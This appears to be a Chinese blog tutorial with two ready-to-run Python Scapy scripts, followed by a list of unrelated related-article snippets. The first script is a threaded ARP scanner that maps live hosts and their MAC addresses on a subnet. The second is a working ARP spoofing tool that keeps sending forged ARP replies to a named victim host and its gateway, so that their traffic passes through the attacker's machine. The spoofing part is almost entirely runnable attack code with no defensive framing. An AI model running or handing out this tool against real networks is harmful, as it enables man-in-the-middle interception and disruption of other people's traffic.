Python Scapy库实现ARP扫描和ARP欺骗
ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址
from scapy.all import *
import argparse
import threading
import time
import logging # 解析CIDR格式的网段,并返回IP地址列表
# >接受一个CIDR格式的网段作为输入(例如192.168.1.0/24)。
# >将网段解析为IP地址列表。
# >通过子网掩码长度计算IP地址范围,并生成该网段内所有可能的IP地址。
def Parse_IP(targets): """ 将CIDR格式的网段字符串转换为IP地址列表。 :param targets: CIDR格式的网段字符串,例如"192.168.1.1/24" :return: IP地址列表 """ _split = targets.split('/') # 按斜杠分割字符串,得到网络地址和子网掩码长度 first_ip = _split[0] # 获取网络地址 ip_split = first_ip.split('.') # 按点分割网络地址,得到各部分的数字 # 生成IP地址范围 ipv4 = range(int(ip_split[3]), int(ip_split[3]) + (2 ** (32 - int(_split[1])))) # 构建IP地址列表 addr = [f"{ip_split[0]}.{ip_split[1]}.{ip_split[2]}.{p}" for p in ipv4] return addr # 使用ARP协议扫描指定IP地址,查找在线设备
# >接受一个IP地址作为输入。
# >使用Scapy发送一个ARP请求到这个IP地址,并等待回复
# >如果收到ARP回复,则提取并打印出该IP地址对应的MAC地址
def ARP_Scan(address): """ 发送ARP请求到指定IP地址,并查找在线设备的MAC地址。 :param address: 要扫描的IP地址 """ try: # 发送ARP请求并等待回复,超时时间为5秒 ret = sr1(ARP(pdst=address), timeout=5, verbose=False) # 如果收到回复 if ret: # 检查回复是否包含ARP层,并且操作码是否为2(表示ARP回复) if ret.haslayer('ARP') and ret.fields['op'] == 2: # 打印IP地址和对应的MAC地址 print('[+] IP地址: %-13s ==> MAC地址: %-15s' %(ret.fields['psrc'], ret.fields['hwsrc'])) except Exception as e: logging.error(f"An error occurred while scanning IP {address}: {e}") exit(1) # 程序入口
# >argparse模块解析命令行参数
# >如果提供了扫描网段参数,则调用Parse_IP函数解析网段,获取IP地址列表
# >每个IP地址创建一个新的线程来执行ARP_Scan函数
if __name__ == "__main__": # 设置Scapy的日志记录级别为ERROR,以减少不必要的输出 logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # 创建命令行参数解析器 parser = argparse.ArgumentParser() parser.add_argument("-s", "--scan", dest="scan", help="输入一个扫描网段") # 解析命令行参数 args = parser.parse_args() # 如果提供了扫描网段参数 if args.scan: # 解析网段并获取IP地址列表 addr_list = Parse_IP(args.scan) # 创建线程列表 threads = [] # 对每个IP地址启动一个新的扫描线程 for item in addr_list: t = threading.Thread(target=ARP_Scan, args=(item,)) threads.append(t) t.start() # 等待所有线程完成 for item in threads: item.join() else: parser.print_help()
ARP欺骗:通过伪造ARP响应来欺骗目标计算机和网关,使它们相信它们正在与对方通信,而实际上所有的通信都经过了攻击者的机器
from scapy.all import *
import argparse
import threading, time
import logging # 定义SendPayload函数,用于发送ARP欺骗的数据包
def SendPayload(Interface, srcMac, tgtMac, gateWayMac, gatewayIP, tgtIP): # 打印目标MAC地址和目标IP地址,以及发送的数据包数量 print("[+] 目标MAC: {} 目标IP: {} 发送: 2 packets".format(tgtMac, tgtIP)) # 生成并发送第一个ARP数据包,伪造网关的IP和MAC地址,欺骗目标计算机 # 使目标计算机认为网关的MAC地址是攻击者的MAC地址 sendp( Ether(src=srcMac, dst=tgtMac) / # 以攻击者的MAC地址作为源MAC,目标计算机的MAC地址作为目的MAC ARP(hwsrc=srcMac, psrc=gatewayIP, hwdst=tgtMac, pdst=tgtIP, op=2), # ARP数据包,其中op=2表示ARP回复 iface=Interface) # 生成并发送第二个ARP数据包,伪造目标计算机的IP和MAC地址,欺骗网关 # 使网关认为目标计算机的MAC地址是攻击者的MAC地址 sendp( Ether(src=srcMac, dst=gateWayMac) / # 以攻击者的MAC地址作为源MAC,网关的MAC地址作为目的MAC ARP(hwsrc=srcMac, psrc=tgtIP, hwdst=gateWayMac, pdst=gatewayIP, op=2), iface=Interface) if __name__ == "__main__": # 创建命令行参数解析器 parser = argparse.ArgumentParser() # 接口名 parser.add_argument("-i", "--interface", dest="interface", help="输入接口名") # 网关地址parser.add_argument("-g", "--gateway", dest="gateway", help="输入网关地址") # 目标主机地址 parser.add_argument("-t", "--target", dest="target", help="输入被害主机地址") # 解析命令行参数 args = parser.parse_args() if args.gateway and args.target: # 通过接口名称获取本机的MAC地址 srcMac = get_if_hwaddr(args.interface) # 通过目标主机的IP地址获取其MAC地址 tgtMac = getmacbyip(args.target) # 通过网关的IP地址获取其MAC地址 gatewayMac = getmacbyip(args.gateway) # 持续发送ARP欺骗数据包 while True: # 创建一个新线程来发送ARP欺骗数据包 t = threading.Thread(target=SendPayload, args=(args.interface, srcMac, tgtMac, gatewayMac, args.gateway, args.target)) t.start() t.join() time.sleep(1) else: parser.print_help()
相关文章:
Python Scapy库实现ARP扫描和ARP欺骗
ARP扫描:检测指定IP网段中哪些主机是在线的,并获取它们的MAC地址 from scapy.all import * import argparse import threading import time import logging # 解析CIDR格式的网段,并返回IP地址列表 # >接受一个CIDR格式的网段…...

Fink CDC数据同步(六)数据入湖Hudi
数据入湖Hudi Apache Hudi(简称:Hudi)使得您能在hadoop兼容的存储之上存储大量数据,同时它还提供两种原语,使得除了经典的批处理之外,还可以在数据湖上进行流处理。这两种原语分别是: Update/Delete记录:H…...
线程和进程的区别及基础线程创建
1 线程和进程的区别 资源分配和调度: 进程(火车)是操作系统进行资源分配和调度的最小单位。它有自己的独立资源空间,包括内存、文件句柄等。线程(车厢)是CPU调度的最小单位。一个进程可以包含多个线程&…...
如何使用postman进行接口调试
使用Postman进行接口调试 有些时候我们写代码的时候,会发现接口有报错,提示参数错误,我们为了更好的排查错误原因,可以在Postman上进行接口调试。将url,请求方式,参数,cookie都填写到Postman中…...
Leetcode 198 打家劫舍
题意理解: 你是一个专业的小偷,计划偷窃沿街的房屋。每间房内都藏有一定的现金,影响你偷窃的唯一制约因素就是相邻的房屋装有相互连通的防盗系统,如果两间相邻的房屋在同一晚上被小偷闯入,系统会自动报警。 给定一个代…...

相机图像质量研究(9)常见问题总结:光学结构对成像的影响--工厂镜头组装
系列文章目录 相机图像质量研究(1)Camera成像流程介绍 相机图像质量研究(2)ISP专用平台调优介绍 相机图像质量研究(3)图像质量测试介绍 相机图像质量研究(4)常见问题总结:光学结构对成像的影响--焦距 相机图像质量研究(5)常见问题总结:光学结构对成…...
Linux内核与驱动面试经典“小”问题集锦(5)
接前一篇文章:Linux内核与驱动面试经典“小”问题集锦(4) 问题6 问:mutex_lock和mutex_lock_interruptible的区别是什么? 备注:此问题也是笔者近期参加蔚来面试时遇到的一个问题。 答: 尽管…...

基于51 单片机的交通灯系统 源码+仿真+ppt
主要内容: 1)南北方向的绿灯、东西方向的红灯同时亮40秒。 2)南北方向的绿灯灭、黄灯亮5秒,同时东西方向的红灯继续亮。 3)南北方向的黄灯灭、左转绿灯亮,持续20秒,同时东西方向的红灯继续…...

【蓝桥杯冲冲冲】[NOIP2017 提高组] 宝藏
蓝桥杯备赛 | 洛谷做题打卡day29 文章目录 蓝桥杯备赛 | 洛谷做题打卡day29[NOIP2017 提高组] 宝藏题目背景题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1样例 #2样例输入 #2样例输出 #2提示题解代码我的一些话[NOIP2017 提高组] 宝藏 题目背景 NOIP2017 D2T2 题目描…...

C#中实现串口通讯和网口通讯(使用SerialPort和Socket类)
仅作自己学习使用 1 准备部份 串口通讯需要两个调试软件commix和Virtual Serial Port Driver,分别用于监视串口和创造虚拟串口。网口通讯需要一个网口调试助手,网络上有很多资源,我在这里采用的是微软商店中的TCP/UDP网络调试助手࿰…...
LeetCode回溯算法的解题思路
回溯法概念 回溯法:一种通过探索所有可能的候选解来找出所有的解的算法。如果候选解被确认不是一个解(或者至少不是最后一个解),回溯算法会通过在上一步进行一些变化抛弃该解,即回溯并且再次尝试。 应用场景 回溯算…...

泰克示波器(TBS2000系列)数学运算功能使用
目录 1 数学运算菜单1.1 运算符选择1.2 信源选择1.3 数学运算结果 1 数学运算菜单 Math运算按钮,用于实现对两个通道的信号进行实时的“加、减、乘”运算,计算时信源1在前面,信源2在运算符的右边,设置时设置信源与运算符就行了。…...

数据结构与算法之美学习笔记:50 | 索引:如何在海量数据中快速查找某个数据?
目录 前言为什么需要索引?索引的需求定义构建索引常用的数据结构有哪些?总结引申 前言 本节课程思维导图: 在第 48 节中,我们讲了 MySQL 数据库索引的实现原理。MySQL 底层依赖的是 B 树这种数据结构。留言里有同学问我ÿ…...

Python(SQLite)executescript用法
SQLite 数据库模块的游标对象还包含了一个 executescript() 方法,这不是一个标准的 API 方法,这意味着在其他数据库 API 模块中可能没有这个方法。但是这个方法却很实用,它可以执行一段 SQL 脚本。 例如,如下程序使用 executescr…...

BUUCTF-Real-[ThinkPHP]IN SQL INJECTION
目录 漏洞描述 漏洞分析 漏洞复现 漏洞描述 漏洞发现时间: 2018-09-04 CVE 参考:CVE-2018-16385 最高严重级别:低风险 受影响的系统:ThinkPHP < 5.1.23 漏洞描述: ThinkPHP是一款快速、兼容、简单的轻量级国产P…...
python安装步骤
安装 Python 的步骤如下: 在 Python 官方网站(https://www.python.org)上下载 Python 安装程序。运行下载的安装程序。在安装程序中选择要安装的 Python 版本(通常选择最新版本),并选择安装目录。确保勾选…...

BlueLotus 下载安装使用
说明 蓝莲花平台BlueLotus,是清华大学曾经的蓝莲花战队搭建的平台,该平台用于接收xss返回数据。 正常执行反射型xss和存储型xss: 反射型在执行poc时,会直接在页面弹出执行注入的poc代码;存储型则是在将poc代码注入用…...
.[hudsonL@cock.li].mkp勒索病毒数据怎么处理|数据解密恢复
导言: 在当今数字化时代,勒索病毒已成为网络安全领域的一大威胁。其中一种新近出现的勒索病毒是由[hudsonLcock.li].mkp[hendersoncock.li].mkp[myersairmail.cc].mkp制作的,它以其高效的加密算法和勒索方式而备受关注。本文91数据恢复将介绍…...

基于SpringBoot和PostGIS的震中影响范围可视化实践
目录 前言 一、基础数据 1、地震基础信息 2、全国行政村 二、Java后台服务设计 1、实体类设计 2、Mapper类设计 3、控制器设计 三、前端展示 1、初始化图例 2、震中位置及影响范围标记 3、行政村点查询及标记 总结 前言 地震等自然灾害目前还是依然不能进行准确的预…...

JUnit实践教程——Java的单元测试框架
前言 大家好,我是chowley,最近在学单元测试框架——JUnit,写个博客记录一下! 在软件开发中,单元测试是确保代码质量和稳定性的重要手段之一。JUnit作为Java领域最流行的单元测试框架,为开发人员提供了简单…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...

【Oracle APEX开发小技巧12】
有如下需求: 有一个问题反馈页面,要实现在apex页面展示能直观看到反馈时间超过7天未处理的数据,方便管理员及时处理反馈。 我的方法:直接将逻辑写在SQL中,这样可以直接在页面展示 完整代码: SELECTSF.FE…...

MODBUS TCP转CANopen 技术赋能高效协同作业
在现代工业自动化领域,MODBUS TCP和CANopen两种通讯协议因其稳定性和高效性被广泛应用于各种设备和系统中。而随着科技的不断进步,这两种通讯协议也正在被逐步融合,形成了一种新型的通讯方式——开疆智能MODBUS TCP转CANopen网关KJ-TCPC-CANP…...
Matlab | matlab常用命令总结
常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...

12.找到字符串中所有字母异位词
🧠 题目解析 题目描述: 给定两个字符串 s 和 p,找出 s 中所有 p 的字母异位词的起始索引。 返回的答案以数组形式表示。 字母异位词定义: 若两个字符串包含的字符种类和出现次数完全相同,顺序无所谓,则互为…...
Java 二维码
Java 二维码 **技术:**谷歌 ZXing 实现 首先添加依赖 <!-- 二维码依赖 --><dependency><groupId>com.google.zxing</groupId><artifactId>core</artifactId><version>3.5.1</version></dependency><de…...

基于SpringBoot在线拍卖系统的设计和实现
摘 要 随着社会的发展,社会的各行各业都在利用信息化时代的优势。计算机的优势和普及使得各种信息系统的开发成为必需。 在线拍卖系统,主要的模块包括管理员;首页、个人中心、用户管理、商品类型管理、拍卖商品管理、历史竞拍管理、竞拍订单…...

给网站添加live2d看板娘
给网站添加live2d看板娘 参考文献: stevenjoezhang/live2d-widget: 把萌萌哒的看板娘抱回家 (ノ≧∇≦)ノ | Live2D widget for web platformEikanya/Live2d-model: Live2d model collectionzenghongtu/live2d-model-assets 前言 网站环境如下,文章也主…...

Ubuntu系统多网卡多相机IP设置方法
目录 1、硬件情况 2、如何设置网卡和相机IP 2.1 万兆网卡连接交换机,交换机再连相机 2.1.1 网卡设置 2.1.2 相机设置 2.3 万兆网卡直连相机 1、硬件情况 2个网卡n个相机 电脑系统信息,系统版本:Ubuntu22.04.5 LTS;内核版本…...
第八部分:阶段项目 6:构建 React 前端应用
现在,是时候将你学到的 React 基础知识付诸实践,构建一个简单的前端应用来模拟与后端 API 的交互了。在这个阶段,你可以先使用模拟数据,或者如果你的后端 API(阶段项目 5)已经搭建好,可以直接连…...